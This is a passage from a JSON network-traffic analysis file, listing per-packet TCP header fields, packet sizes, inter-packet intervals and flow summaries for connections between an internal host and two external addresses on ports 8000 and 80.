\"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10352, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1305, \"timestamp\": 1782897349.923558, \"timestamp_iso\": \"2026-07-01T14:45:49.923558\", \"timestamp_human\": \"2026-07-01 14:45:49.923\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10353, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1307, \"timestamp\": 1782897350.939234, \"timestamp_iso\": \"2026-07-01T14:45:50.939234\", \"timestamp_human\": \"2026-07-01 14:45:50.939\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10354, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1309, \"timestamp\": 1782897351.954891, \"timestamp_iso\": \"2026-07-01T14:45:51.954891\", \"timestamp_human\": \"2026-07-01 14:45:51.954\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10355, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1311, \"timestamp\": 1782897352.970494, \"timestamp_iso\": \"2026-07-01T14:45:52.970494\", \"timestamp_human\": \"2026-07-01 14:45:52.970\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10356, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1313, \"timestamp\": 1782897353.986184, \"timestamp_iso\": \"2026-07-01T14:45:53.986184\", \"timestamp_human\": \"2026-07-01 14:45:53.986\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10357, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 1315, \"timestamp\": 1782897355.001784, \"timestamp_iso\": \"2026-07-01T14:45:55.001784\", \"timestamp_human\": \"2026-07-01 14:45:55.001\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"192.163.167.137\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 10358, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 8000, \"dst_port\": 64118, \"tcp_seq\": 2959110023, \"tcp_ack\": 3063512983, \"tcp_window\": 63, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 11, \"ACK\": 646, \"FIN\": 10}, \"packet_sizes\": [66, 54, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 54, 54, 66, 54, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66, 66], \"inter_packet_intervals\": [0.0168759822845459, 1.0135209560394287, 1.0155220031738281, 0.9696300029754639, 1.0148160457611084, 1.0157430171966553, 1.0155680179595947, 1.0157978534698486, 1.0155270099639893, 1.0157911777496338, 1.0156118869781494, 1.0156500339508057, 1.0156769752502441, 1.0156641006469727, 1.015690803527832, 0.8612229824066162, 0.0009701251983642578, 1.0146629810333252, 1.0137920379638672, 1.0156619548797607, 1.015674114227295, 1.0156238079071045, 1.015665054321289, 1.0155889987945557, 1.0156919956207275, 1.015604019165039, 1.0000629425048828, 1.015693187713623, 1.0156028270721436, 1.0000100135803223, 1.0000979900360107, 0.8612439632415771, 1.0137770175933838, 1.0156610012054443, 1.0156381130218506, 1.0156660079956055, 0.9999599456787109, 1.015660047531128, 1.0000500679016113, 1.0156879425048828, 0.9235789775848389, 1.0140159130096436, 1.0156619548797607, 1.0157051086425781, 0.9999499320983887, 1.0000710487365723, 0.9860720634460449, 1.0139448642730713, 1.015733003616333, 1.0156440734863281, 1.0156519412994385, 1.0156259536743164, 1.0156710147857666, 1.0156641006469727, 1.0156559944152832, 1.0156431198120117, 1.0000557899475098, 1.0155601501464844, 1.0156159400939941, 1.0000169277191162, 1.0000720024108887, 0.879019021987915, 0.08811616897583008, 0.0008399486541748047, 4.019201040267944, 0.01587390899658203, 1.0128729343414307, 1.0155069828033447, 1.0156831741333008, 1.0002338886260986, 1.01540207862854, 0.9999828338623047, 1.0157320499420166, 1.015627145767212, 1.0156819820404053, 1.0156538486480713, 1.0001389980316162, 1.0155751705169678, 1.0156519412994385, 1.0156199932098389, 0.8606879711151123, 1.0143539905548096, 1.015726089477539, 1.0155599117279053, 1.0156559944152832, 1.0001060962677002, 1.015617847442627, 1.0156300067901611, 1.000128984451294, 1.0000519752502441, 1.0156311988830566, 1.0156679153442383, 1.0155460834503174, 1.015718936920166, 1.0156090259552002, 0.8609828948974609, 1.0141079425811768, 1.0157361030578613, 1.015531063079834, 1.0156638622283936, 1.0156161785125732, 1.0000388622283936, 1.0000429153442383, 1.0156571865081787, 1.0156829357147217, 1.0156428813934326, 1.0001881122589111, 1.0156300067901611, 1.0154950618743896, 1.015683889389038, 0.8456871509552002, 1.0136628150939941, 1.000101089477539, 0.9999549388885498, 1.0000131130218506, 1.01568603515625, 1.0156769752502441, 1.01566481590271, 1.0156440734863281, 1.0157270431518555, 1.0155689716339111, 1.0156989097595215, 1.0156550407409668, 1.0158910751342773, 1.0154640674591064, 0.730327844619751, 0.0009911060333251953, 4.021499872207642, 0.014362096786499023, 1.0141749382019043, 1.0156660079956055, 1.000025987625122, 1.0156149864196777, 1.0156581401824951, 1.015650987625122, 1.000020980834961, 1.015683889389038, 1.0155839920043945, 1.000110149383545, 0.9999098777770996, 1.0000951290130615, 1.0155768394470215, 1.0156440734863281, 0.9239990711212158, 1.013612985610962, 1.0155720710754395, 1.000147819519043, 1.0157020092010498, 1.015481948852539, 1.0156152248382568, 1.0156948566436768, 1.015589952468872, 1.0157520771026611, 1.0156629085540771, 1.0155410766601562, 1.0156269073486328, 1.01568603515625, 1.0155971050262451, 0.8298308849334717, 1.0140931606292725, 1.0155599117279053, 0.9999511241912842, 1.0000929832458496, 1.015638828277588, 1.015611171722412, 1.0157129764556885, 1.0157270431518555, 1.0156068801879883, 1.0156059265136719, 1.0000731945037842, 1.015549898147583, 1.0156359672546387, 1.0001630783081055, 0.8766770362854004, 1.0139758586883545, 1.0155079364776611, 1.0002222061157227, 1.0156419277191162, 1.0154519081115723, 1.0156559944152832, 1.0157091617584229, 1.0001249313354492, 1.015510082244873, 0.9999518394470215, 1.000096082687378, 1.0156910419464111, 1.0156168937683105, 1.0156331062316895, 0.7000908851623535, 0.0007510185241699219, 4.020769119262695, 0.01459503173828125, 1.013833999633789, 1.0000638961791992, 0.9999868869781494, 1.0000691413879395, 1.0156440734863281, 1.015561819076538, 1.015815019607544, 1.0155720710754395, 1.0157170295715332, 1.0155060291290283, 1.0156488418579102, 1.0157010555267334, 0.9999361038208008, 1.000168800354004, 0.9101190567016602, 1.0116820335388184, 1.0036060810089111, 1.0158379077911377, 1.0154550075531006, 1.0157489776611328, 1.0155630111694336, 1.0006229877471924, 1.0156300067901611, 1.000025987625122, 1.0155441761016846, 1.0156328678131104, 1.0156400203704834, 1.0157160758972168, 1.0156328678131104, 0.8453700542449951, 1.0296540260314941, 1.0156450271606445, 1.0000228881835938, 1.0156540870666504, 1.0155909061431885, 1.015740156173706, 1.0156469345092773, 1.015610933303833, 1.0156340599060059, 1.0000450611114502, 1.0000288486480713, 1.015639066696167, 1.0156259536743164, 1.0156409740447998, 0.8613970279693604, 1.0135841369628906, 1.0157239437103271, 1.0156309604644775, 1.0156619548797607, 1.015639066696167, 1.0155880451202393, 1.0156819820404053, 1.0156948566436768, 1.000002145767212, 1.000730037689209, 1.0148940086364746, 1.0157577991485596, 0.9999511241912842, 1.0156280994415283, 0.7071418762207031, 0.0009949207305908203, 4.029820203781128, 0.01593494415283203, 1.0118889808654785, 1.01596999168396, 1.0153069496154785, 1.015636920928955, 1.0312731266021729, 1.0156199932098389, 1.0157079696655273, 1.0156259536743164, 1.015599012374878, 1.0156681537628174, 1.0156798362731934, 1.0156691074371338, 0.9999959468841553, 1.0156819820404053, 0.8144230842590332, 1.0136799812316895, 1.0000500679016113, 1.0156469345092773, 1.0155999660491943, 1.000087022781372, 1.0000288486480713, 1.0156300067901611, 1.0156681537628174, 1.0156059265136719, 1.0157139301300049, 1.015688180923462, 1.015577793121338, 1.0156400203704834, 1.0156400203704834, 0.8766579627990723, 1.013923168182373, 1.0157480239868164, 1.0156478881835938, 1.0156450271606445, 1.0155940055847168, 1.015697956085205, 1.015660047531128, 1.015639066696167, 1.0156710147857666, 1.0030419826507568, 1.0282080173492432, 1.0000159740447998, 1.0156199932098389, 1.0156610012054443, 0.8609600067138672, 1.0141088962554932, 1.0156610012054443, 1.0156099796295166, 1.0156641006469727, 1.0156340599060059, 1.0156598091125488, 0.9999911785125732, 1.0156629085540771, 1.0156641006469727, 1.0156469345092773, 1.0156428813934326, 1.015632152557373, 1.0156450271606445, 1.0156469345092773, 0.6185839176177979, 0.0011990070343017578, 4.024625062942505, 0.014134883880615234, 1.0134661197662354, 1.0156819820404053, 1.0155589580535889, 1.0157151222229004, 1.0156428813934326, 1.0000340938568115, 1.015631914138794, 1.0156810283660889, 1.0156230926513672, 1.015692949295044, 1.015650987625122, 0.9999818801879883, 1.0156331062316895, 1.0156540870666504, 0.876835823059082, 1.0138490200042725, 1.015599012374878, 1.0156350135803223, 1.0156841278076172, 1.0156598091125488, 1.0155930519104004, 1.0156819820404053, 1.0156450271606445, 1.0156891345977783, 1.0156447887420654, 1.0155940055847168, 1.0157270431518555, 1.015584945678711, 1.015700101852417, 0.830286979675293, 1.0135009288787842, 1.015613079071045, 1.015599012374878, 1.0000920295715332, 1.0000410079956055, 0.999985933303833, 1.0156750679016113, 1.015570878982544, 1.015714168548584, 1.0156469345092773, 1.0156381130218506, 1.0156359672546387, 1.0000438690185547, 1.0156469345092773, 0.8767910003662109, 1.0138511657714844, 1.0000288486480713, 1.0000691413879395, 1.0000009536743164, 0.9999918937683105, 1.0000061988830566, 1.0157008171081543, 1.0156221389770508, 1.0156879425048828, 1.0156729221343994, 1.0156660079956055, 1.0156521797180176, 1.0155339241027832, 1.0157020092010498, 0.7022919654846191, 0.0008220672607421875, 4.0341808795928955, 0.015411138534545898, 1.0130698680877686, 1.0156280994415283, 1.0156629085540771, 1.0156300067901611, 1.015665054321289, 1.000025987625122, 1.0155889987945557, 1.0156769752502441, 1.0156409740447998, 1.015650987625122, 1.0000481605529785, 1.0000109672546387, 1.015643835067749, 1.0156571865081787, 0.8919038772583008, 1.0143959522247314, 1.0156350135803223, 1.015632152557373, 1.015625, 1.0157020092010498, 1.0156278610229492, 1.0156331062316895, 1.015697956085205, 1.0155658721923828, 1.0000700950622559, 1.0156760215759277, 1.0156400203704834, 1.0156629085540771, 1.0000290870666504, 0.8609650135040283, 1.0140419006347656, 1.015733003616333, 0.9999589920043945, 1.0155940055847168, 1.015726089477539, 1.0156149864196777, 1.0156149864196777, 1.0000879764556885, 1.0000240802764893, 1.0155689716339111, 1.0157380104064941, 1.015557050704956, 1.0156519412994385, 1.015683889389038, 0.8617651462554932, 1.01320481300354, 1.0157241821289062, 1.015542984008789, 1.0157749652862549, 1.0156269073486328, 1.0156559944152832, 1.0156481266021729, 1.0157339572906494, 0.9999580383300781, 1.000006914138794, 1.0000121593475342, 1.0156748294830322, 1.0156071186065674, 1.0156359672546387, 0.6547689437866211, 0.0010030269622802734, 4.017369031906128, 0.013167858123779297, 1.001387119293213, 1.015610933303833, 1.015674114227295, 1.015636920928955, 1.0000309944152832, 1.0156469345092773, 1.015639066696167, 1.000067949295044, 1.0169341564178467, 1.0027639865875244, 1.0028009414672852, 1.0027689933776855, 1.002845048904419, 1.0028090476989746, 0.9200949668884277, 1.000844955444336, 1.002803087234497, 1.0028228759765625, 1.0144450664520264, 1.0156409740447998, 1.015657901763916, 1.0000381469726562, 1.0000078678131104, 1.0156431198120117, 1.0000109672546387, 1.0000488758087158, 0.9999961853027344, 1.0156199932098389, 1.0156829357147217, 0.954827070236206, 1.0139408111572266, 1.0156731605529785, 1.0156619548797607, 1.0000228881835938, 1.0000150203704834, 1.0000731945037842, 1.0156238079071045, 0.9999840259552002, 1.0156590938568115, 1.0156660079956055, 1.0156738758087158, 1.0156400203704834, 1.0156421661376953, 1.0156610012054443, 0.8770208358764648, 1.0136590003967285, 1.0156209468841553, 1.015688180923462, 0.9999749660491943, 1.0000288486480713, 1.0157032012939453, 1.015622854232788, 1.015625, 1.0000369548797607, 1.0000331401824951, 1.0000319480895996, 0.9999608993530273, 1.0000741481781006, 1.000011920928955, 0.7919330596923828, 0.0008170604705810547, 4.0224928855896, 0.014995098114013672, 1.0136020183563232, 1.0156919956207275, 1.0156238079071045, 1.0001251697540283, 1.0155699253082275, 1.0155599117279053, 1.0157530307769775, 1.0156300067901611, 1.015688180923462, 1.015542984008789, 1.0156948566436768, 1.0001909732818604, 1.0155751705169678, 1.0000059604644775, 0.8922579288482666, 1.0139050483703613, 1.015773057937622, 1.015509843826294, 1.000087022781372, 1.015665054321289, 1.0156819820404053, 1.015589952468872, 1.0156781673431396, 0.9999568462371826, 1.0157620906829834, 1.000014066696167, 1.0155909061431885, 1.0156400203704834, 1.0000889301300049, 0.8928971290588379, 1.013375997543335, 1.015699863433838, 1.0156481266021729, 1.015645980834961, 1.015575885772705, 1.0156240463256836, 1.0157549381256104, 1.0155489444732666, 1.0157451629638672, 1.0155439376831055, 1.0156481266021729, 1.0156488418579102, 1.0000619888305664, 1.000072956085205, 0.8453390598297119, 1.0141069889068604, 1.0155911445617676, 0.9999909400939941, 1.0156440734863281, 1.0156970024108887, 1.015758991241455, 1.0156497955322266, 1.0155091285705566, 1.0157079696655273, 1.0155789852142334, 1.015700101852417, 1.000046968460083, 1.0156450271606445, 0.9999408721923828, 0.6531760692596436, 0.0006480216979980469, 4.020781993865967, 0.014899015426635742, 1.0138640403747559, 1.0157198905944824, 1.0155260562896729, 1.0157148838043213, 1.0156550407409668, 1.015665054321289, 1.0155820846557617, 1.0000720024108887, 1.015610933303833, 1.0157699584960938, 0.9999110698699951, 1.01566481590271, 1.0157051086425781, 0.999946117401123, 0.8610589504241943, 1.0140118598937988, 1.0156300067901611, 1.0000801086425781, 1.0156090259552002, 1.0155489444732666, 1.015692949295044, 1.0156581401824951, 1.0000569820404053, 1.0000178813934326, 1.0157229900360107, 1.0155551433563232, 1.0156798362731934, 1.0156261920928955, 1.0156879425048828, 0.9084370136260986, 1.013469934463501, 1.0156400203704834, 1.0000619888305664, 1.0156350135803223, 1.0002059936523438, 1.0154409408569336, 1.000067949295044, 1.000020980834961, 1.0001280307769775, 1.0000030994415283, 1.0155470371246338, 1.0156450271606445, 1.015669822692871, 1.0156099796295166, 0.9084529876708984, 1.0135021209716797, 1.0001680850982666, 1.015516996383667, 1.015645980834961, 1.015657901763916, 1.015636920928955, 1.0156610012054443, 1.0156421661376953, 1.0157549381256104, 1.015639066696167, 1.0155868530273438, 1.0000331401824951, 1.0156528949737549, 1.00028395652771, 0.6930620670318604, 0.0007109642028808594, 4.027245998382568, 0.015210151672363281, 1.0135610103607178, 1.0157268047332764, 1.0156002044677734, 1.015699863433838, 1.0156710147857666, 1.000028133392334, 0.9999818801879883, 1.0156760215759277, 1.0156569480895996, 1.0156030654907227, 1.0156898498535156, 1.0156002044677734], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 652.6467640399933, \"avg_packet_size\": 64.79256965944272, \"packets_per_second\": 0.9898156791602724, \"bytes_per_second\": 64.13270134200056, \"min_packet_size\": 54, \"max_packet_size\": 66, \"median_packet_size\": 66, \"avg_interval\": 1.0118554481240205, \"min_interval\": 0.0006480216979980469, \"max_interval\": 4.0341808795928955}, {\"source\": \"10.152.152.11\", \"target\": \"194.36.32.207\", \"packet_count\": 7, \"total_bytes\": 795, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ports\": [64035], \"dst_ports\": [80], \"first_packet\": 1782896707.341825, \"last_packet\": 1782896725.54667, \"packets\": [{\"packet_number\": 13, \"timestamp\": 1782896707.341825, \"timestamp_iso\": \"2026-07-01T14:35:07.341825\", \"timestamp_human\": \"2026-07-01 14:35:07.341\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.207\", \"ttl\": 128, \"ip_id\": 10485, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 80, \"tcp_seq\": 2283203037, \"tcp_ack\": 0, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 15, \"timestamp\": 1782896707.34216, \"timestamp_iso\": \"2026-07-01T14:35:07.342160\", \"timestamp_human\": \"2026-07-01 14:35:07.342\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.207\", \"ttl\": 128, \"ip_id\": 10486, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 80, \"tcp_seq\": 2283203038, \"tcp_ack\": 4151454129, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 16, \"timestamp\": 1782896707.342207, \"timestamp_iso\": \"2026-07-01T14:35:07.342207\", \"timestamp_human\": \"2026-07-01 14:35:07.342\", \"size\": 459, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.207\", \"ttl\": 128, \"ip_id\": 10487, \"ip_len\": 445, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 80, \"tcp_seq\": 2283203038, \"tcp_ack\": 4151454129, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 33, \"timestamp\": 1782896713.657465, \"timestamp_iso\": \"2026-07-01T14:35:13.657465\", \"timestamp_human\": \"2026-07-01 14:35:13.657\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.207\", \"ttl\": 128, \"ip_id\": 10488, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 80, \"tcp_seq\": 2283203443, \"tcp_ack\": 4151458177, \"tcp_window\": 1026, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 35, \"timestamp\": 1782896713.657634, \"timestamp_iso\": \"2026-07-01T14:35:13.657634\", \"timestamp_human\": \"2026-07-01 14:35:13.657\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.207\", \"ttl\": 128, \"ip_id\": 10489, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 80, \"tcp_seq\": 2283203443, \"tcp_ack\": 4151458546, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 63, \"timestamp\": 1782896725.546602, \"timestamp_iso\": \"2026-07-01T14:35:25.546602\", \"timestamp_human\": \"2026-07-01 14:35:25.546\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.207\", \"ttl\": 128, \"ip_id\": 10490, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 80, \"tcp_seq\": 2283203443, \"tcp_ack\": 4151458547, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 64, \"timestamp\": 1782896725.54667, \"timestamp_iso\": \"2026-07-01T14:35:25.546670\", \"timestamp_human\": \"2026-07-01 14:35:25.546\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"194.36.32.207\", \"ttl\": 128, \"ip_id\": 10491, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 64035, \"dst_port\": 80, \"tcp_seq\": 2283203443, \"tcp_ack\": 4151458547, \"tcp_window\": 1025, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 1, \"FIN\": 1}, \"packet_sizes\": [66, 54, 459, 54, 54, 54, 54], \"inter_packet_intervals\": [0.0003349781036376953, 4.696846008300781e-05, 6.315258026123047, 0.0001690387725830078, 11.888967990875244, 6.794929504394531e-05], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 18.20484495162964, \"avg_packet_size\": 113.57142857142857, \"packets_per_second\": 0.38451302488974964, \"bytes_per_second\": 43.66969354105014, \"min_packet_size\": 54, \"max_packet_size\": 459, \"median_packet_size\": 54, \"avg_interval\": 3.0341408252716064, \"min_interval\": 4.696846008300781e-05, \"max_interval\": 11.888967990875244}, {\"source\": \"194.36.32.207\", \"target\": \"10.152.152.11\", \"packet_count\": 6, \"total_bytes\": 4753, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ports\": [80], \"dst_ports\": [64035], \"first_packet\": 1782896707.34186, \"last_packet\": 1782896725.546681, \"packets\": [{\"packet_number\": 14, 